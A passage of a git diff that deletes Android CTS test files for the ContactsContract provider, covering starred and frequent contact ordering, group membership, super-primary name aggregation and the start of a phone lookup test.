- * CTS tests for {@link android.provider.ContactsContract.Contacts#CONTENT_FREQUENT_URI},
- * {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} and
- * {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_FILTER_URI} apis.
- */
-public class ContactsContract_FrequentsStrequentsTest extends InstrumentationTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    private static final String[] STREQUENT_PROJECTION = new String[]{
-            Contacts._ID,
-            Contacts.HAS_PHONE_NUMBER,
-            Contacts.NAME_RAW_CONTACT_ID,
-            Contacts.IS_USER_PROFILE,
-            Contacts.CUSTOM_RINGTONE,
-            Contacts.DISPLAY_NAME,
-            Contacts.DISPLAY_NAME_ALTERNATIVE,
-            Contacts.DISPLAY_NAME_SOURCE,
-            Contacts.IN_DEFAULT_DIRECTORY,
-            Contacts.IN_VISIBLE_GROUP,
-            Contacts.LAST_TIME_CONTACTED,
-            Contacts.LOOKUP_KEY,
-            Contacts.PHONETIC_NAME,
-            Contacts.PHONETIC_NAME_STYLE,
-            Contacts.PHOTO_ID,
-            Contacts.PHOTO_FILE_ID,
-            Contacts.PHOTO_URI,
-            Contacts.PHOTO_THUMBNAIL_URI,
-            Contacts.SEND_TO_VOICEMAIL,
-            Contacts.SORT_KEY_ALTERNATIVE,
-            Contacts.SORT_KEY_PRIMARY,
-            Contacts.STARRED,
-            Contacts.PINNED,
-            Contacts.TIMES_CONTACTED,
-            Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
-            Contacts.CONTACT_PRESENCE,
-            Contacts.CONTACT_CHAT_CAPABILITY,
-            Contacts.CONTACT_STATUS,
-            Contacts.CONTACT_STATUS_TIMESTAMP,
-            Contacts.CONTACT_STATUS_RES_PACKAGE,
-            Contacts.CONTACT_STATUS_LABEL,
-            Contacts.CONTACT_STATUS_ICON,
-            Data.TIMES_USED,
-            Data.LAST_TIME_USED,
-    };
-
-    private static final String[] STREQUENT_PHONE_ONLY_PROJECTION = new String[]{
-            Data._ID,
-            Contacts.HAS_PHONE_NUMBER,
-            Contacts.NAME_RAW_CONTACT_ID,
-            Contacts.IS_USER_PROFILE,
-            Contacts.CUSTOM_RINGTONE,
-            Contacts.DISPLAY_NAME,
-            Contacts.DISPLAY_NAME_ALTERNATIVE,
-            Contacts.DISPLAY_NAME_SOURCE,
-            Contacts.IN_DEFAULT_DIRECTORY,
-            Contacts.IN_VISIBLE_GROUP,
-            Contacts.LAST_TIME_CONTACTED,
-            Contacts.LOOKUP_KEY,
-            Contacts.PHONETIC_NAME,
-            Contacts.PHONETIC_NAME_STYLE,
-            Contacts.PHOTO_ID,
-            Contacts.PHOTO_FILE_ID,
-            Contacts.PHOTO_URI,
-            Contacts.PHOTO_THUMBNAIL_URI,
-            Contacts.SEND_TO_VOICEMAIL,
-            Contacts.SORT_KEY_ALTERNATIVE,
-            Contacts.SORT_KEY_PRIMARY,
-            Contacts.STARRED,
-            Contacts.PINNED,
-            Contacts.TIMES_CONTACTED,
-            Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
-            Contacts.CONTACT_PRESENCE,
-            Contacts.CONTACT_CHAT_CAPABILITY,
-            Contacts.CONTACT_STATUS,
-            Contacts.CONTACT_STATUS_TIMESTAMP,
-            Contacts.CONTACT_STATUS_RES_PACKAGE,
-            Contacts.CONTACT_STATUS_LABEL,
-            Contacts.CONTACT_STATUS_ICON,
-            Data.TIMES_USED,
-            Data.LAST_TIME_USED,
-            Phone.NUMBER,
-            Phone.TYPE,
-            Phone.LABEL,
-            Phone.IS_SUPER_PRIMARY,
-            Phone.CONTACT_ID,
-    };
-
-    public static ContentValues[] sContentValues = new ContentValues[3];
-    static {
-        ContentValues cv1 = new ContentValues();
-        cv1.put(Contacts.DISPLAY_NAME, "Hot Tamale");
-        sContentValues[0] = cv1;
-
-        ContentValues cv2 = new ContentValues();
-        cv2.put(Contacts.DISPLAY_NAME, "Cold Tamago");
-        sContentValues[1] = cv2;
-
-        ContentValues cv3 = new ContentValues();
-        cv3.put(Contacts.DISPLAY_NAME, "John Doe");
-        sContentValues[2] = cv3;
-    }
-
-    private long[] mDataIds = new long[3];
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getInstrumentation().getTargetContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    /**
-     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
-     * no contacts if there are no starred or frequent contacts in the user's contacts.
-     */
-    public void testStrequents_noStarredOrFrequents() throws Exception {
-        long[] ids = setupTestData();
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids, false);
-    }
-
-    /**
-     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
-     * starred contacts in the correct order if there are only starred contacts in the user's
-     * contacts.
-     */
-    public void testStrequents_starredOnlyInCorrectOrder() throws Exception {
-        long[] ids = setupTestData();
-
-        // Star/favorite the first and third contact.
-        starContact(ids[0]);
-        starContact(ids[1]);
-
-        // Only the starred contacts should be returned, ordered alphabetically by name
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[1], sContentValues[0]);
-    }
-
-    /**
-     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
-     * frequent contacts in the correct order if there are only frequent contacts in the user's
-     * contacts.
-     */
-    public void testStrequents_frequentsOnlyInCorrectOrder() throws Exception {
-        long[] ids = setupTestData();
-
-        // Contact the first contact once.
-        markDataAsUsed(mDataIds[0], 1);
-
-        // Contact the second contact thrice.
-        markDataAsUsed(mDataIds[1], 3);
-
-        // Contact the third contact twice.
-        markDataAsUsed(mDataIds[2], 2);
-
-        // The strequents uri should now return contact 2, 3, 1 in order due to ranking by
-        // data usage.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[1], sContentValues[2], sContentValues[0]);
-    }
-
-    /**
-     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
-     * first starred, then frequent contacts in their respective correct orders if there are both
-     * starred and frequent contacts in the user's contacts.
-     */
-    public void testStrequents_starredAndFrequentsInCorrectOrder() throws Exception {
-        long[] ids = setupTestData();
-
-        // Contact the first contact once.
-        markDataAsUsed(mDataIds[0], 1);
-
-        // Contact the second contact thrice.
-        markDataAsUsed(mDataIds[1], 3);
-
-        // Contact the third contact twice, and mark it as used
-        markDataAsUsed(mDataIds[2], 2);
-        starContact(ids[2]);
-
-        // The strequents uri should now return contact 3, 2, 1 in order. Contact 3 is ranked first
-        // because it is starred, followed by contacts 2 and 1 due to their data usage ranking.
-        // Note that contact 3 is only returned once (as a starred contact) even though it is also
-        // a frequently contacted contact.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[2], sContentValues[1], sContentValues[0]);
-    }
-
-    /**
-     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_FILTER_URI}
-     * correctly filters the returned contacts with the given user input.
-     */
-    public void testStrequents_withFilter() throws Exception {
-        long[] ids = setupTestData();
-
-        //Star all 3 contacts
-        starContact(ids[0]);
-        starContact(ids[1]);
-        starContact(ids[2]);
-
-        // Construct a uri that filters for the query string "ta".
-        Uri uri = Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon().appendEncodedPath("ta").build();
-
-        // Only contact 1 and 2 should be returned (sorted in alphabetical order) due to the
-        // filtered query.
-        assertCursorStoredValuesWithContactsFilter(uri, ids, false, sContentValues[1], sContentValues[0]);
-    }
-
-    public void testStrequents_projection() throws Exception {
-        long[] ids = setupTestData();
-
-        // Start contact 0 and mark contact 2 as frequent
-        starContact(ids[0]);
-        markDataAsUsed(mDataIds[2], 1);
-
-        DatabaseAsserts.checkProjection(mResolver, Contacts.CONTENT_STREQUENT_URI,
-                STREQUENT_PROJECTION,
-                new long[]{ids[0], ids[2]}
-        );
-
-        // Strequent filter.
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon()
-                        .appendEncodedPath("Hot Tamale").build(),
-                STREQUENT_PROJECTION,
-                new long[]{ids[0]}
-        );
-    }
-
-    public void testStrequents_phoneOnly() throws Exception {
-        long[] ids = setupTestData();
-
-        // Star all 3 contacts
-        starContact(ids[0]);
-        starContact(ids[1]);
-        starContact(ids[2]);
-
-        // Construct a uri for phone only favorites.
-        Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
-                appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
-
-        // Only the contacts with phone numbers are returned, in alphabetical order. Filtering
-        // is done with data ids instead of contact ids since each row contains a single data item.
-        assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
-                sContentValues[0], sContentValues[2]);
-    }
-
-    public void testStrequents_phoneOnlyFrequentsOrder() throws Exception {
-        long[] ids = setupTestData();
-
-        // Contact the first contact once.
-        markDataAsUsed(mDataIds[0], 1);
-
-        // Contact the second contact twice.
-        markDataAsUsed(mDataIds[1], 2);
-
-        // Contact the third contact thrice.
-        markDataAsUsed(mDataIds[2], 3);
-
-        // Construct a uri for phone only favorites.
-        Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
-                appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
-
-        // Only the contacts with phone numbers are returned, in frequency ranking order.
-        assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
-                sContentValues[2], sContentValues[0]);
-    }
-
-    public void testStrequents_phoneOnly_projection() throws Exception {
-        long[] ids = setupTestData();
-
-        // Start contact 0 and mark contact 2 as frequent
-        starContact(ids[0]);
-        markDataAsUsed(mDataIds[2], 1);
-
-        // Construct a uri for phone only favorites.
-        Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
-                appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
-
-        DatabaseAsserts.checkProjection(mResolver, uri,
-                STREQUENT_PHONE_ONLY_PROJECTION,
-                new long[]{mDataIds[0], mDataIds[2]} // Note _id from phone_only is data._id
-        );
-    }
-
-    public void testFrequents_noFrequentsReturnsEmptyCursor() throws Exception {
-        long[] ids = setupTestData();
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids, false);
-    }
-
-    public void testFrequents_CorrectOrder() throws Exception {
-        long[] ids = setupTestData();
-
-        // Contact the first contact once.
-        markDataAsUsed(mDataIds[0], 1);
-
-        // Contact the second contact thrice.
-        markDataAsUsed(mDataIds[1], 3);
-
-        // Contact the third contact twice.
-        markDataAsUsed(mDataIds[2], 2);
-
-        // The frequents uri should now return contact 2, 3, 1 in order due to ranking by
-        // data usage.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids,
-                true /* inOrder */, sContentValues[1], sContentValues[2], sContentValues[0]);
-    }
-
-    public void testFrequent_projection() throws Exception {
-        long[] ids = setupTestData();
-
-        markDataAsUsed(mDataIds[0], 10);
-
-        DatabaseAsserts.checkProjection(mResolver, Contacts.CONTENT_FREQUENT_URI,
-                STREQUENT_PROJECTION,
-                new long[]{ids[0]}
-        );
-    }
-
-    /**
-     * Given a uri, performs a query on the contacts provider for that uri and asserts that the
-     * cursor returned from the query matches the expected results.
-     *
-     * @param uri Uri to perform the query for
-     * @param contactsId Array of contact IDs that serves as an additional filter on the result
-     * set. This is needed to limit the output to temporary test contacts that were created for
-     * purposes of the test, so that the tests do not fail on devices with existing contacts on
-     * them
-     * @param inOrder Whether or not the returned rows in the cursor should correspond to the
-     * order of the provided ContentValues
-     * @param expected An array of ContentValues corresponding to the expected output of the query
-     */
-    private void assertCursorStoredValuesWithContactsFilter(Uri uri, long[] contactsId,
-            boolean inOrder, ContentValues... expected) {
-        // We need this helper function to add a filter for specific contacts because
-        // otherwise tests will fail if performed on a device with existing contacts data
-        StringBuilder sb = new StringBuilder();
-        sb.append(Contacts._ID + " in ");
-        sb.append("(");
-        for (int i = 0; i < contactsId.length; i++) {
-            if (i != 0) sb.append(",");
-            sb.append(contactsId[i]);
-        }
-        sb.append(")");
-        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, null, sb.toString(),
-                null, null, inOrder, expected);
-    }
-
-    /**
-     * Given a contact id, update the contact corresponding to that contactId so that it now shows
-     * up in the user's favorites/starred contacts.
-     *
-     * @param contactId Contact ID corresponding to the contact to star
-     */
-    private void starContact(long contactId) {
-        ContentValues values = new ContentValues();
-        values.put(Contacts.STARRED, 1);
-        mResolver.update(ContentUris.withAppendedId(Contacts.CONTENT_URI, contactId), values,
-                null, null);
-    }
-
-    /**
-     * Given a data id, increment the data usage stats by a given number of usages to simulate
-     * the user making a call to the given data item.
-     *
-     * @param dataId Id of the data item to increment data usage stats for
-     * @param numTimes The number of times to increase the data usage stats by
-     */
-    private void markDataAsUsed(long dataId, int numTimes) {
-        Uri uri = ContactsContract.DataUsageFeedback.FEEDBACK_URI.buildUpon().
-                appendPath(String.valueOf(dataId)).
-                appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
-                        DataUsageFeedback.USAGE_TYPE_CALL).build();
-        for (int i = 1; i <= numTimes; i++) {
-            mResolver.update(uri, new ContentValues(), null, null);
-        }
-    }
-
-    /**
-     * Setup the contacts database with temporary contacts used for testing. These contacts will
-     * be removed during teardown.
-     *
-     * @return An array of long values corresponding to the ids of the created contacts
-     *
-     * @throws Exception
-     */
-    private long[] setupTestData() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
-                .insert();
-        mDataIds[0] = rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "510-123-5769")
-                .with(Email.TYPE, Phone.TYPE_HOME)
-                .insert().load().getId();
-        rawContact.load();
-        TestContact contact = rawContact.getContact().load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
-                .insert();
-        mDataIds[1] = rawContact2.newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "eggs@farmers.org")
-                .with(Email.TYPE, Email.TYPE_HOME)
-                .insert().load().getId();
-        rawContact2.load();
-        TestContact contact2 = rawContact2.getContact().load();
-
-        TestRawContact rawContact3 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "John Doe")
-                .insert();
-        mDataIds[2] = rawContact3.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "518-354-1111")
-                .with(Phone.TYPE, Phone.TYPE_HOME)
-                .insert().load().getId();
-        rawContact3.load();
-        TestContact contact3 = rawContact3.getContact().load();
-
-        return new long[] {contact.getId(), contact2.getId(), contact3.getId()};
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_GroupMembershipTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_GroupMembershipTest.java
deleted file mode 100644
index ef7d12b..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_GroupMembershipTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.GroupMembership;
-import android.provider.ContactsContract.Groups;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestData;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestGroup;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.test.InstrumentationTestCase;
-
-public class ContactsContract_GroupMembershipTest extends InstrumentationTestCase {
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        ContentResolver contentResolver =
-                getInstrumentation().getTargetContext().getContentResolver();
-        ContentProviderClient provider =
-                contentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testAddGroupMembershipWithGroupRowId() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert();
-        TestGroup group = mBuilder.newGroup().insert();
-        TestData groupMembership = rawContact.newDataRow(GroupMembership.CONTENT_ITEM_TYPE)
-                .with(GroupMembership.GROUP_ROW_ID, group.getId())
-                .insert();
-
-        groupMembership.load();
-        groupMembership.assertColumn(GroupMembership.RAW_CONTACT_ID, rawContact.getId());
-        groupMembership.assertColumn(GroupMembership.GROUP_ROW_ID, group.getId());
-    }
-
-    public void testAddGroupMembershipWithGroupSourceId() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestGroup group = mBuilder.newGroup()
-                .with(Groups.SOURCE_ID, "test_source_id")
-                .with(Groups.ACCOUNT_TYPE, "test_type")
-                .with(Groups.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData groupMembership = rawContact.newDataRow(GroupMembership.CONTENT_ITEM_TYPE)
-                .with(GroupMembership.GROUP_SOURCE_ID, "test_source_id")
-                .insert();
-
-        groupMembership.load();
-        groupMembership.assertColumn(GroupMembership.RAW_CONTACT_ID, rawContact.getId());
-        groupMembership.assertColumn(GroupMembership.GROUP_SOURCE_ID, "test_source_id");
-        groupMembership.assertColumn(GroupMembership.GROUP_ROW_ID, group.getId());
-    }
-
-    public void testAddGroupMembershipWithUnknownGroupSourceId() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData groupMembership = rawContact.newDataRow(GroupMembership.CONTENT_ITEM_TYPE)
-                .with(GroupMembership.GROUP_SOURCE_ID, "test_source_id")
-                .insert();
-        TestGroup group = mBuilder.newGroup()
-                .with(Groups.ACCOUNT_TYPE, "test_type")
-                .with(Groups.ACCOUNT_NAME, "test_name")
-                .with(Groups.SOURCE_ID, "test_source_id")
-                .with(Groups.DELETED, 0)
-                .loadUsingValues();
-
-        groupMembership.load();
-        groupMembership.assertColumn(GroupMembership.RAW_CONTACT_ID, rawContact.getId());
-        groupMembership.assertColumn(GroupMembership.GROUP_SOURCE_ID, "test_source_id");
-        groupMembership.assertColumn(GroupMembership.GROUP_ROW_ID, group.getId());
-
-        group.deletePermanently();
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_IsSuperPrimaryName.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_IsSuperPrimaryName.java
deleted file mode 100644
index 603cb619..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_IsSuperPrimaryName.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import junit.framework.Assert;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.AggregationExceptions;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestData;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.test.AndroidTestCase;
-
-/**
- * CTS tests for the affect that {@link ContactsContract.Data#IS_SUPER_PRIMARY} has on names inside
- * aggregated contacts. Additionally, this needs to test the affect that aggregating contacts
- * together has on IS_SUPER_PRIMARY values in order to enforce the desired IS_SUPER_PRIMARY
- * behavior.
- */
-public class ContactsContract_IsSuperPrimaryName extends AndroidTestCase {
-
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mBuilder.cleanup();
-        super.tearDown();
-    }
-
-    public void testIsSuperPrimary_name1SuperPrimary() throws Exception {
-        testInner_displayNameFromIsSuperPrimary(/* isFirstNamePrimary = */ true, "name1", "name2");
-    }
-
-    public void testIsSuperPrimary_name2SuperPrimary() throws Exception {
-        testInner_displayNameFromIsSuperPrimary(/* isFirstNamePrimary = */ false, "name2", "name1");
-    }
-
-    private void testInner_displayNameFromIsSuperPrimary(boolean isFirstNamePrimary,
-            String expectedDisplayName, String otherDisplayName) throws Exception {
-
-        // Setup: two raw contacts. One with a super primary name. One without.
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "name1")
-                .with(StructuredName.IS_SUPER_PRIMARY, isFirstNamePrimary ? 1 : 0)
-                .insert();
-        rawContact1.load();
-        name1.load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "name2")
-                .with(StructuredName.IS_SUPER_PRIMARY, !isFirstNamePrimary ? 1 : 0)
-                .insert();
-        rawContact2.load();
-        name2.load();
-
-        // Execute: aggregate the two raw contacts together
-        setAggregationException(rawContact1.getId(), rawContact2.getId());
-
-        // Sanity check: two contacts are aggregated
-        rawContact1.load();
-        rawContact2.load();
-        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
-
-        // Verify: the IS_SUPER_PRIMARY values are maintained after the merge
-        name1.assertColumn(StructuredName.IS_SUPER_PRIMARY, isFirstNamePrimary ? 1 : 0);
-        name2.assertColumn(StructuredName.IS_SUPER_PRIMARY, !isFirstNamePrimary ? 1 : 0);
-
-        // Verify: the display name is taken from the name with is_super_primary
-        TestContact contact = rawContact2.getContact().load();
-        contact.assertColumn(Contacts.DISPLAY_NAME, expectedDisplayName);
-
-        //
-        // Now test what happens when you change IS_SUPER_PRIMARY on an existing contact
-        //
-
-        // Execute: make the non primary name IS_SUPER_PRIMARY
-        TestData nonPrimaryName = !isFirstNamePrimary ? name1 : name2;
-        ContentValues values = new ContentValues();
-        values.put(StructuredName.IS_SUPER_PRIMARY, 1);
-        mResolver.update(nonPrimaryName.getUri(), values, null, null);
-
-        // Verify: the IS_SUPER_PRIMARY values swap
-        name1.load();
-        name2.load();
-        name1.assertColumn(StructuredName.IS_SUPER_PRIMARY, isFirstNamePrimary ? 0 : 1);
-        name2.assertColumn(StructuredName.IS_SUPER_PRIMARY, !isFirstNamePrimary ? 0 : 1);
-
-        // Verify: the display name is taken from the name with is_super_primary
-        contact.load();
-        contact.assertColumn(Contacts.DISPLAY_NAME, otherDisplayName);
-    }
-
-    public void testIsSuperPrimaryName_mergeBothSuperPrimary() throws Exception {
-        // Setup: two raw contacts. Both names are super primary.
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "name1")
-                .with(StructuredName.IS_SUPER_PRIMARY, 1)
-                .insert();
-        rawContact1.load();
-        name1.load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "name2")
-                .with(StructuredName.IS_SUPER_PRIMARY, 1)
-                .insert();
-        rawContact2.load();
-        name2.load();
-
-        // Execute: aggregate the two contacts together
-        setAggregationException(rawContact1.getId(), rawContact2.getId());
-
-        // Sanity check: two contacts are aggregated
-        rawContact1.load();
-        rawContact2.load();
-        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
-
-        // Verify: both names are no longer super primary.
-        name1.load();
-        name2.load();
-        name1.assertColumn(StructuredName.IS_SUPER_PRIMARY, 0);
-        name2.assertColumn(StructuredName.IS_SUPER_PRIMARY, 0);
-    }
-
-    private void setAggregationException(long rawContactId1, long rawContactId2) {
-        ContentValues values = new ContentValues();
-        values.put(AggregationExceptions.RAW_CONTACT_ID1, rawContactId1);
-        values.put(AggregationExceptions.RAW_CONTACT_ID2, rawContactId2);
-        values.put(AggregationExceptions.TYPE, AggregationExceptions.TYPE_KEEP_TOGETHER);
-        mResolver.update(AggregationExceptions.CONTENT_URI, values, null, null);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_PhoneLookup.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_PhoneLookup.java
deleted file mode 100644
index 556fb2d..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_PhoneLookup.java
+++ /dev/null
@@ -1,262 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.Email;
-import android.provider.ContactsContract.CommonDataKinds.Phone;
-import android.provider.ContactsContract.CommonDataKinds.SipAddress;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.PhoneLookup;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.test.AndroidTestCase;
-
-/**
- * Test for {@link android.provider.ContactsContract.PhoneLookup}.
- * <p>
- * This covers {@link PhoneLookup#CONTENT_FILTER_URI} and
- * {@link PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
- *
- * TODO We don't yet have tests to cover cross-user provider access for the later, since multi-user
- * cases aren't well supported in CTS yet.  Tracking in internal bug/16462089 .
- */
-public class ContactsContract_PhoneLookup extends AndroidTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    static class Id {
-        public long contactId;
-        public long dataId;
-
-        public Id (long contactId, long dataId) {
-            this.contactId = contactId;
-            this.dataId = dataId;
-        }
